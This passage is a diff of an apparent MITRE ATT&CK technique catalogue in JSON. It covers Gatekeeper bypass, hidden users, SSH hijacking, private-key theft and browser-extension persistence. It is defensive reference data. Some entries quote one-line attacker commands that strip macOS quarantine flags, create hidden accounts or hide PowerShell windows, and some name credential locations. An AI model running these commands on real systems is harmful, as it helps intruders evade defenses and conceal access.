LoadLibrary, etc. of the Win32 API. (Citation: Wikipedia Windows Library Files)\n\nThe module loader can load DLLs:\n\n* via specification of the (fully-qualified or relative) DLL pathname in the IMPORT directory;\n \n* via EXPORT forwarded to another DLL, specified with (fully-qualified or relative) pathname (but without extension);\n \n* via an NTFS junction or symlink program.exe.local with the fully-qualified or relative pathname of a directory containing the DLLs specified in the IMPORT directory or forwarded EXPORTs;\n \n* via <file name=\"filename.extension\" loadFrom=\"fully-qualified or relative pathname\"> in an embedded or external \"application manifest\". The file name refers to an entry in the IMPORT directory or a forwarded EXPORT.\n\nAdversaries may use this functionality as a way to execute arbitrary payloads on a victim system. For example, malware may execute share modules to load additional components or features.", "meta": { "external_id": "T1129", "kill_chain": [ @@ -24389,13 +21733,6 @@ "description": "Adversaries may implement hidden windows to conceal malicious activity from the plain sight of users. In some cases, windows that would typically be displayed when an application carries out an operation can be hidden. This may be utilized by system administrators to avoid disrupting user work environments when carrying out administrative tasks. Adversaries may abuse operating system functionality to hide otherwise visible windows from users so as not to alert the user to adversary activity on the system.\n\n### Windows\nThere are a variety of features in scripting languages in Windows, such as [PowerShell](https://attack.mitre.org/techniques/T1086), Jscript, and VBScript to make windows hidden. One example of this is powershell.exe -WindowStyle Hidden. (Citation: PowerShell About 2019)\n\n### Mac\nThe configurations for how applications run on macOS are listed in property list (plist) files. One of the tags in these files can be apple.awt.UIElement, which allows for Java applications to prevent the application's icon from appearing in the Dock. A common use for this is when applications run in the system tray, but don't also want to show up in the Dock. However, adversaries can abuse this feature and hide their running window.(Citation: Antiquated Mac Malware)\n", "meta": { "external_id": "T1143", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1143", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", @@ -24415,7 +21752,7 @@ "value": "Hidden Window - T1143" }, { - "description": "Adversaries may use screen capture to collect additional information about a target device, such as applications running in the foreground, user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015) ", + "description": "Adversaries may use screen captures to collect information about applications running in the foreground, capture user data, credentials, or other sensitive information. Applications running in the background can capture screenshots or videos of another application running in the foreground by using the Android `MediaProjectionManager` (generally requires the device user to grant consent).(Citation: Fortinet screencap July 2019)(Citation: Android ScreenCap1 2019) Background applications can also use Android accessibility services to capture screen contents being displayed by a foreground application.(Citation: Lookout-Monokle) An adversary with root access or Android Debug Bridge (adb) access could call the Android `screencap` or `screenrecord` commands.(Citation: Android ScreenCap2 2019)(Citation: Trend Micro ScreenCap July 2015)", "meta": { "external_id": "APP-40", "kill_chain": [ @@ -24466,36 +21803,10 @@ "uuid": "e01be9c5-e763-4caf-aeb7-000b416aef67", "value": "Create Account - T1136" }, - { - "description": "Adversaries may inject code into processes in order to evade process-based defenses or even elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process. \n\nBoth Android and iOS have no legitimate way to achieve process injection. The only way this is possible is by abusing existing root access or exploiting a vulnerability.", - "meta": { - "external_id": "T1631", - "kill_chain": [ - "mitre-mobile-attack:defense-evasion", - "mitre-mobile-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1631" - ] - }, - "uuid": "b7c0e45f-0206-4f75-96e7-fe7edad3aaff", - "value": "Process Injection - T1631" - }, { "description": "The Microsoft Windows Application Compatibility Infrastructure/Framework (Application Shim) was created to allow for backward compatibility of software as the operating system codebase changes over time. For example, the application shimming feature allows developers to apply fixes to applications (without rewriting code) that were created for Windows XP so that it will work with Windows 10. (Citation: Elastic Process Injection July 2017) Within the framework, shims are created to act as a buffer between the program (or more specifically, the Import Address Table) and the Windows OS. When a program is executed, the shim cache is referenced to determine if the program requires the use of the shim database (.sdb). If so, the shim database uses [Hooking](https://attack.mitre.org/techniques/T1179) to redirect the code as necessary in order to communicate with the OS. \n\nA list of all shims currently installed by the default Windows installer (sdbinst.exe) is kept in:\n\n* %WINDIR%\\AppPatch\\sysmain.sdb\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\installedsdb\n\nCustom databases are stored in:\n\n* %WINDIR%\\AppPatch\\custom & %WINDIR%\\AppPatch\\AppPatch64\\Custom\n* hklm\\software\\microsoft\\windows nt\\currentversion\\appcompatflags\\custom\n\nTo keep shims secure, Windows designed them to run in user mode so they cannot modify the kernel and you must have administrator privileges to install a shim. However, certain shims can be used to [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) (UAC) (RedirectEXE), inject DLLs into processes (InjectDLL), disable Data Execution Prevention (DisableNX) and Structure Exception Handling (DisableSEH), and intercept memory addresses (GetProcAddress). Similar to [Hooking](https://attack.mitre.org/techniques/T1179), utilizing these shims may allow an adversary to perform several malicious acts such as elevate privileges, install backdoors, disable defenses like Windows Defender, etc.", "meta": { "external_id": "T1138", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1138", "https://www.blackhat.com/docs/eu-15/materials/eu-15-Pierce-Defending-Against-Malicious-Application-Compatibility-Shims-wp.pdf", @@ -24532,14 +21843,6 @@ "description": "Spearphishing attachment is a specific variant of spearphishing. Spearphishing attachment is different from other forms of spearphishing in that it employs the use of malware attached to an email. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email and usually rely upon [User Execution](https://attack.mitre.org/techniques/T1204) to gain execution.\n\nThere are many options for the attachment such as Microsoft Office documents, executables, PDFs, or archived files. Upon opening the attachment (and potentially clicking past protections), the adversary's payload exploits a vulnerability or directly executes on the user's system. The text of the spearphishing email usually tries to give a plausible reason why the file should be opened, and may explain how to bypass system protections in order to do so. The email may also contain instructions on how to decrypt an attachment, such as a zip file password, in order to evade email boundary defenses. Adversaries frequently manipulate file extensions and icons in order to make attached executables appear to be document files, or files exploiting one application appear to be a file for a different one.", "meta": { "external_id": "CAPEC-163", - "kill_chain": [ - "mitre-attack:initial-access" - ], - "mitre_platforms": [ - "Windows", - "macOS", - "Linux" - ], "refs": [ "https://attack.mitre.org/techniques/T1193", "https://capec.mitre.org/data/definitions/163.html" @@ -24561,13 +21864,6 @@ "description": "Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Attackers can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)", "meta": { "external_id": "T1139", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way", "https://attack.mitre.org/techniques/T1139" @@ -24589,12 +21885,6 @@ "description": "In macOS and OS X, when applications or programs are downloaded from the internet, there is a special attribute set on the file called com.apple.quarantine. This attribute is read by Apple's Gatekeeper defense program at execution time and provides a prompt to the user to allow or deny execution. \n\nApps loaded onto the system from USB flash drive, optical disk, external hard drive, or even from a drive shared over the local network won’t set this flag. Additionally, other utilities or events like drive-by downloads don’t necessarily set it either. This completely bypasses the built-in Gatekeeper check. (Citation: Methods of Mac Malware Persistence) The presence of the quarantine flag can be checked by the xattr command xattr /path/to/MyApp.app for com.apple.quarantine. Similarly, given sudo access or elevated permission, this attribute can be removed with xattr as well, sudo xattr -r -d com.apple.quarantine /path/to/MyApp.app. (Citation: Clearing quarantine attribute) (Citation: OceanLotus for OS X)\n \nIn typical operation, a file will be downloaded from the internet and given a quarantine flag before being saved to disk. When the user tries to open the file or application, macOS’s gatekeeper will step in and check for the presence of this flag. If it exists, then macOS will then prompt the user to confirmation that they want to run the program and will even provide the URL where the application came from. However, this is all based on the file being downloaded from a quarantine-savvy application. (Citation: Bypassing Gatekeeper)", "meta": { "external_id": "T1144", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1144", "https://blog.malwarebytes.com/cybercrime/2015/10/bypassing-apples-gatekeeper/", @@ -24615,36 +21905,12 @@ "uuid": "6fb6408c-0db3-41d9-a3a1-a32e5f16454e", "value": "Gatekeeper Bypass - T1144" }, - { - "description": "Adversaries may abuse clipboard manager APIs to obtain sensitive information copied to the device clipboard. For example, passwords being copied and pasted from a password manager application could be captured by a malicious application installed on the device.(Citation: Fahl-Clipboard) \n\n \n\nOn Android, applications can use the `ClipboardManager.OnPrimaryClipChangedListener()` API to register as a listener and monitor the clipboard for changes. However, starting in Android 10, this can only be used if the application is in the foreground, or is set as the device’s default input method editor (IME).(Citation: Github Capture Clipboard 2019)(Citation: Android 10 Privacy Changes) \n\n \n\nOn iOS, this can be accomplished by accessing the `UIPasteboard.general.string` field. However, starting in iOS 14, upon accessing the clipboard, the user will be shown a system notification if the accessed text originated in a different application. For example, if the user copies the text of an iMessage from the Messages application, the notification will read “application_name has pasted from Messages” when the text was pasted in a different application.(Citation: UIPPasteboard)", - "meta": { - "external_id": "APP-35", - "kill_chain": [ - "mitre-mobile-attack:collection", - "mitre-mobile-attack:credential-access" - ], - "mitre_platforms": [ - "Android", - "iOS" - ], - "refs": [ - "http://saschafahl.de/static/paper/pwmanagers2013.pdf", - "https://attack.mitre.org/techniques/T1414", - "https://developer.android.com/about/versions/10/privacy/changes#clipboard-data", - "https://developer.apple.com/documentation/uikit/uipasteboard", - "https://github.com/grepx/android-clipboard-security", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-35.html" - ] - }, - "uuid": "c4b96c0b-cb58-497a-a1c2-bb447d79d692", - "value": "Clipboard Data - T1414" - }, { "description": "Adversaries may abuse Android's `startForeground()` API method to maintain continuous sensor access. Beginning in Android 9, idle applications running in the background no longer have access to device sensors, such as the camera, microphone, and gyroscope.(Citation: Android-SensorsOverview) Applications can retain sensor access by running in the foreground, using Android’s `startForeground()` API method. This informs the system that the user is actively interacting with the application, and it should not be killed. The only requirement to start a foreground service is showing a persistent notification to the user.(Citation: Android-ForegroundServices)\n\nMalicious applications may abuse the `startForeground()` API method to continue running in the foreground, while presenting a notification to the user pretending to be a genuine application. This would allow unhindered access to the device’s sensors, assuming permission has been previously granted.(Citation: BlackHat Sutter Android Foreground 2019)\n\nMalicious applications may also abuse the `startForeground()` API to inform the Android system that the user is actively interacting with the application, thus preventing it from being killed by the low memory killer.(Citation: TrendMicro-Yellow Camera)", "meta": { "external_id": "APP-19", "kill_chain": [ - "mitre-mobile-attack:defense-evasion", + "mitre-mobile-attack:collection", "mitre-mobile-attack:persistence" ], "mitre_platforms": [ @@ -24666,14 +21932,6 @@ "description": "Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures. (Citation: Wikipedia Public Key Crypto)\n\nAdversaries may gather private keys from compromised systems for use in authenticating to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email. Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. Adversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\\Users\\(username)\\.ssh\\ on Windows.\n\nPrivate keys should require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line.\n\nAdversary tools have been discovered that search compromised systems for file extensions relating to cryptographic keys and certificates. (Citation: Kaspersky Careto) (Citation: Palo Alto Prince of Persia)", "meta": { "external_id": "T1145", - "kill_chain": [ - "mitre-attack:credential-access" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], "refs": [ "https://attack.mitre.org/techniques/T1145", "https://en.wikipedia.org/wiki/Public-key_cryptography", @@ -24694,7 +21952,7 @@ "value": "Private Keys - T1145" }, { - "description": "An adversary with physical access to a mobile device may seek to bypass the device’s lockscreen. Several methods exist to accomplish this, including:\n\n* Biometric spoofing: If biometric authentication is used, an adversary could attempt to spoof a mobile device’s biometric authentication mechanism. Both iOS and Android partly mitigate this attack by requiring the device’s passcode rather than biometrics to unlock the device after every device restart, and after a set or random amount of time.(Citation: SRLabs-Fingerprint)(Citation: TheSun-FaceID)\n* Unlock code bypass: An adversaries could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (“shoulder surfing”) the device owner’s use of the lockscreen passcode. Mobile OS vendors partly mitigate this by implementing incremental backoff timers after a set number of failed unlock attempts, as well as a configurable full device wipe after several failed unlock attempts.\n* Vulnerability exploit: Techniques have been periodically demonstrated that exploit mobile devices to bypass the lockscreen. The vulnerabilities are generally patched by the device or OS vendor once disclosed.(Citation: Wired-AndroidBypass)(Citation: Kaspersky-iOSBypass)\n", + "description": "An adversary with physical access to a mobile device may seek to bypass the device's lockscreen.\n\n### Biometric Spoofing\nIf biometric authentication is used, an adversary could attempt to spoof a mobile device's biometric authentication mechanism(Citation: SRLabs-Fingerprint)(Citation: SecureIDNews-Spoof)(Citation: TheSun-FaceID).\n\niOS partly mitigates this attack by requiring the device passcode rather than a fingerprint to unlock the device after every device restart and after 48 hours since the device was last unlocked (Citation: Apple-TouchID). Android has similar mitigations.\n\n### Device Unlock Code Guessing or Brute Force\nAn adversary could attempt to brute-force or otherwise guess the lockscreen passcode (typically a PIN or password), including physically observing (\"shoulder surfing\") the device owner's use of the lockscreen passcode. \n\n### Exploit Other Device Lockscreen Vulnerabilities\nTechniques have periodically been demonstrated that exploit vulnerabilities on Android (Citation: Wired-AndroidBypass), iOS (Citation: Kaspersky-iOSBypass), or other mobile devices to bypass the device lockscreen. The vulnerabilities are generally patched by the device/operating system vendor once they become aware of their existence.", "meta": { "external_id": "T1461", "kill_chain": [ @@ -24707,6 +21965,8 @@ "refs": [ "https://attack.mitre.org/techniques/T1461", "https://srlabs.de/bites/spoofing-fingerprints/", + "https://support.apple.com/en-us/HT204587", + "https://thehackernews.com/2016/05/android-kernal-exploit.htmlhttps://www.secureidnews.com/news-item/another-spoof-of-mobile-biometrics/", "https://threatpost.com/ios-10-passcode-bypass-can-access-photos-contacts/122033/", "https://www.thesun.co.uk/tech/5584082/iphone-x-face-unlock-tricked-broken/", "https://www.wired.com/2015/09/hack-brief-new-emergency-number-hack-easily-bypasses-android-lock-screens/" @@ -24715,23 +21975,6 @@ "uuid": "dfe29258-ce59-421c-9dee-e85cb9fa90cd", "value": "Lockscreen Bypass - T1461" }, - { - "description": "Adversaries may insert, delete, or alter data in order to manipulate external outcomes or hide activity. By manipulating data, adversaries may attempt to affect a business process, organizational understanding, or decision making.\n\nThe type of modification and the impact it will have depends on the target application, process, and the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system, typically gained through a prolonged information gathering campaign, in order to have the desired impact.", - "meta": { - "external_id": "T1641", - "kill_chain": [ - "mitre-mobile-attack:impact" - ], - "mitre_platforms": [ - "Android" - ], - "refs": [ - "https://attack.mitre.org/techniques/T1641" - ] - }, - "uuid": "c548d8c4-a0a3-4a24-bb79-2a84abbc7b36", - "value": "Data Manipulation - T1641" - }, { "description": "Adversaries may register Uniform Resource Identifiers (URIs) to intercept sensitive data.\n\nApplications regularly register URIs with the operating system to act as a response handler for various actions, such as logging into an app using an external account via single sign-on. This allows redirections to that specific URI to be intercepted by the application. If a malicious application were to register for a URI that was already in use by a genuine application, the malicious application may be able to intercept data intended for the genuine application or perform a phishing attack against the genuine application. Intercepted data may include OAuth authorization codes or tokens that could be used by the malicious application to gain access to resources.(Citation: Trend Micro iOS URL Hijacking)(Citation: IETF-PKCE)", "meta": { @@ -24749,22 +21992,14 @@ "https://tools.ietf.org/html/rfc7636" ] }, - "related": [ - { - "dest-uuid": "789ef15a-34d9-4b32-a779-8cbbc9eb32f5", - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], - "type": "revoked-by" - } - ], + "related": [], "uuid": "77e30eee-fd48-40b4-99ec-73e97c158b58", "value": "URI Hijacking - T1416" }, { - "description": "Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal device usage, users often provide credentials to various locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. [Keylogging](https://attack.mitre.org/techniques/T1417/001)) or rely on deceiving the user into providing input into what they believe to be a genuine application prompt (e.g. [GUI Input Capture](https://attack.mitre.org/techniques/T1417/002)).", + "description": "Adversaries may capture user input to obtain credentials or other information from the user through various methods.\n\nMalware may masquerade as a legitimate third-party keyboard to record user keystrokes.(Citation: Zeltser-Keyboard) On both Android and iOS, users must explicitly authorize the use of third-party keyboard apps. Users should be advised to use extreme caution before granting this authorization when it is requested.\n\nOn Android, malware may abuse accessibility features to record keystrokes by registering an `AccessibilityService` class, overriding the `onAccessibilityEvent` method, and listening for the `AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED` event type. The event object passed into the function will contain the data that the user typed.\n\nAdditional methods of keylogging may be possible if root access is available.", "meta": { - "external_id": "AUT-13", + "external_id": "T1417", "kill_chain": [ "mitre-mobile-attack:collection", "mitre-mobile-attack:credential-access" @@ -24775,8 +22010,7 @@ ], "refs": [ "https://attack.mitre.org/techniques/T1417", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html", - "https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-13.html" + "https://zeltser.com/third-party-keyboards-security/" ] }, "uuid": "a8c31121-852b-46bd-9ba4-674ae5afe7ad", @@ -24786,15 +22020,9 @@ "description": "Every user account in macOS has a userID associated with it. When creating a user, you can specify the userID for that account. There is a property value in /Library/Preferences/com.apple.loginwindow called Hide500Users that prevents users with userIDs 500 and lower from appearing at the login screen. By using the [Create Account](https://attack.mitre.org/techniques/T1136) technique with a userID under 500 and enabling this property (setting it to Yes), an adversary can hide their user accounts much more easily: sudo dscl . -create /Users/username UniqueID 401 (Citation: Cybereason OSX Pirrit).", "meta": { "external_id": "T1147", - "kill_chain": [ - "mitre-attack:defense-evasion" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ - "https://attack.mitre.org/techniques/T1147", - "https://cdn2.hubspot.net/hubfs/3354902/Content%20PDFs/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf" + "http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-OSX-Pirrit-4-6-16.pdf", + "https://attack.mitre.org/techniques/T1147" ] }, "related": [ @@ -24810,10 +22038,11 @@ "value": "Hidden Users - T1147" }, { - "description": "Adversaries may attempt to get a listing of applications that are installed on a device. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1418) during automated discovery to shape follow-on behaviors, including whether or not to fully infect the target and/or attempts specific actions. \n\n \n\nAdversaries may attempt to enumerate applications for a variety of reasons, such as figuring out what security measures are present or to identify the presence of target applications. ", + "description": "Adversaries may seek to identify all applications installed on the device. One use case for doing so is to identify the presence of endpoint security applications that may increase the adversary's risk of detection. Another use case is to identify the presence of applications that the adversary may wish to target.\n\nOn Android, applications can use methods in the PackageManager class (Citation: Android-PackageManager) to enumerate other apps installed on device, or an entity with shell access can use the pm command line tool.\n\nOn iOS, apps can use private API calls to obtain a list of other apps installed on the device. (Citation: Kurtz-MaliciousiOSApps) However, use of private API calls will likely prevent the application from being distributed through Apple's App Store.", "meta": { - "external_id": "APP-12", + "external_id": "T1418", "kill_chain": [ + "mitre-mobile-attack:defense-evasion", "mitre-mobile-attack:discovery" ], "mitre_platforms": [ @@ -24821,24 +22050,18 @@ "iOS" ], "refs": [ + "https://andreas-kurtz.de/2014/09/malicious-ios-apps/", "https://attack.mitre.org/techniques/T1418", - "https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-12.html" + "https://developer.android.com/reference/android/content/pm/PackageManager.html" ] }, "uuid": "198ce408-1470-45ee-b47f-7056050d4fc2", - "value": "Software Discovery - T1418" + "value": "Application Discovery - T1418" }, { "description": "Secure Shell (SSH) is a standard means of remote access on Linux and macOS systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\n[SSH Hijacking](https://attack.mitre.org/techniques/T1184) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it injects into an existing SSH session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).", "meta": { "external_id": "T1184", - "kill_chain": [ - "mitre-attack:lateral-movement" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1184", "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", @@ -24860,7 +22083,7 @@ "value": "SSH Hijacking - T1184" }, { - "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media, acting as a mechanism for C2, may give a significant amount of cover. This is due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection. \n\n \n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis, or enable operational resiliency (since this infrastructure may be dynamically changed). \n\n ", + "description": "Adversaries may use an existing, legitimate external Web service as a means for relaying commands to a compromised system.\n\nThese commands may also include pointers to command and control (C2) infrastructure. Adversaries may post content, known as a dead drop resolver, on Web services with embedded (and often obfuscated/encoded) domains or IP addresses. Once infected, victims will reach out to and be redirected by these resolvers.\n\nPopular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).", "meta": { "external_id": "T1481", "kill_chain": [ @@ -24949,13 +22172,6 @@ "description": "Per Apple’s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn’t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", "meta": { "external_id": "T1165", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1165", "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", @@ -24975,7 +22191,7 @@ "value": "Startup Items - T1165" }, { - "description": "Adversaries may collect data within notifications sent by the operating system or other applications. Notifications may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. In the case of Credential Access, adversaries may attempt to intercept one-time code sent to the device. Adversaries can also dismiss notifications to prevent the user from noticing that the notification has arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass) ", + "description": "A malicious application can read notifications sent by the operating system or other applications, which may contain sensitive data such as one-time authentication codes sent over SMS, email, or other mediums. A malicious application can also dismiss notifications to prevent the user from noticing that the notifications arrived and can trigger action buttons contained within notifications.(Citation: ESET 2FA Bypass)", "meta": { "external_id": "T1517", "kill_chain": [ @@ -24997,13 +22213,6 @@ "description": "macOS and OS X use a common method to look for required dynamic libraries (dylib) to load into a program based on search paths. Adversaries can take advantage of ambiguous paths to plant dylibs to gain privilege escalation or persistence.\n\nA common method is to see what dylibs an application uses, then plant a malicious version with the same name higher up in the search path. This typically results in the dylib being in the same folder as the application itself. (Citation: Writing Bad Malware for OSX) (Citation: Malware Persistence on OS X)\n\nIf the program is configured to run at a higher privilege level than the current user, then when the dylib is loaded into the application, the dylib will also run at that elevated level. This can be used by adversaries as a privilege escalation technique.", "meta": { "external_id": "CAPEC-471", - "kill_chain": [ - "mitre-attack:persistence", - "mitre-attack:privilege-escalation" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1157", "https://capec.mitre.org/data/definitions/471.html", @@ -25059,12 +22268,6 @@ "description": "Per Apple’s developer documentation, when a user logs in, a per-user launchd process is started which loads the parameters for each launch-on-demand user agent from the property list (plist) files found in /System/Library/LaunchAgents, /Library/LaunchAgents, and $HOME/Library/LaunchAgents (Citation: AppleDocs Launch Agent Daemons) (Citation: OSX Keydnap malware) (Citation: Antiquated Mac Malware). These launch agents have property list files which point to the executables that will be launched (Citation: OSX.Dok Malware).\n \nAdversaries may install a new launch agent that can be configured to execute at login by using launchd or launchctl to load a plist into the appropriate directories (Citation: Sofacy Komplex Trojan) (Citation: Methods of Mac Malware Persistence). The agent name may be disguised by using a name from a related operating system or benign software. Launch Agents are created with user level privileges and are executed with the privileges of the user when they log in (Citation: OSX Malware Detection) (Citation: OceanLotus for OS X). They can be set up to execute when a specific user logs in (in the specific user’s directory structure) or when any user logs in (which requires administrator privileges).", "meta": { "external_id": "T1159", - "kill_chain": [ - "mitre-attack:persistence" - ], - "mitre_platforms": [ - "macOS" - ], "refs": [ "https://attack.mitre.org/techniques/T1159", "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/", @@ -25114,7 +22317,7 @@ "value": "Call Control - T1616" }, { - "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background, steal all information that a user enters into a browser (including credentials), and be used as an installer for a RAT for persistence.(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension)\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)", + "description": "Adversaries may abuse Internet browser extensions to establish persistent access to victim systems. Browser extensions or plugins are small programs that can add functionality and customize aspects of Internet browsers. They can be installed directly or through a browser's app store and generally have access and permissions to everything that the browser can access.(Citation: Wikipedia Browser Extension)(Citation: Chrome Extensions Definition)\n\nMalicious extensions can be installed into a browser through malicious app store downloads masquerading as legitimate extensions, through social engineering, or by an adversary that has already compromised a system. Security can be limited on browser app stores so it may not be difficult for malicious extensions to defeat automated scanners.(Citation: Malicious Chrome Extension Numbers) Depending on the browser, adversaries may also manipulate an extension's update url to install updates from an adversary controlled server or manipulate the mobile configuration file to silently install additional extensions.\n\nPrevious to macOS 11, adversaries could silently install browser extensions via the command line using the profiles tool to install malicious .mobileconfig files. In macOS 11+, the use of the profiles tool can no longer install configuration profiles, however .mobileconfig files can be planted and installed with user interaction.(Citation: xorrior chrome extensions macOS)\n\nOnce the extension is installed, it can browse to websites in the background,(Citation: Chrome Extension Crypto Miner)(Citation: ICEBRG Chrome Extensions) steal all information that a user enters into a browser (including credentials)(Citation: Banker Google Chrome Extension Steals Creds)(Citation: Catch All Chrome Extension) and be used as an installer for a RAT for persistence.\n\nThere have also been instances of botnets using a persistent backdoor through malicious Chrome extensions.(Citation: Stantinko Botnet) There have also been similar examples of extensions being used for command & control.(Citation: Chrome Extension C2 Malware)", "meta": { "external_id": "T1176", "kill_chain": [ @@ -25153,12 +22356,6 @@ "description": "In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this 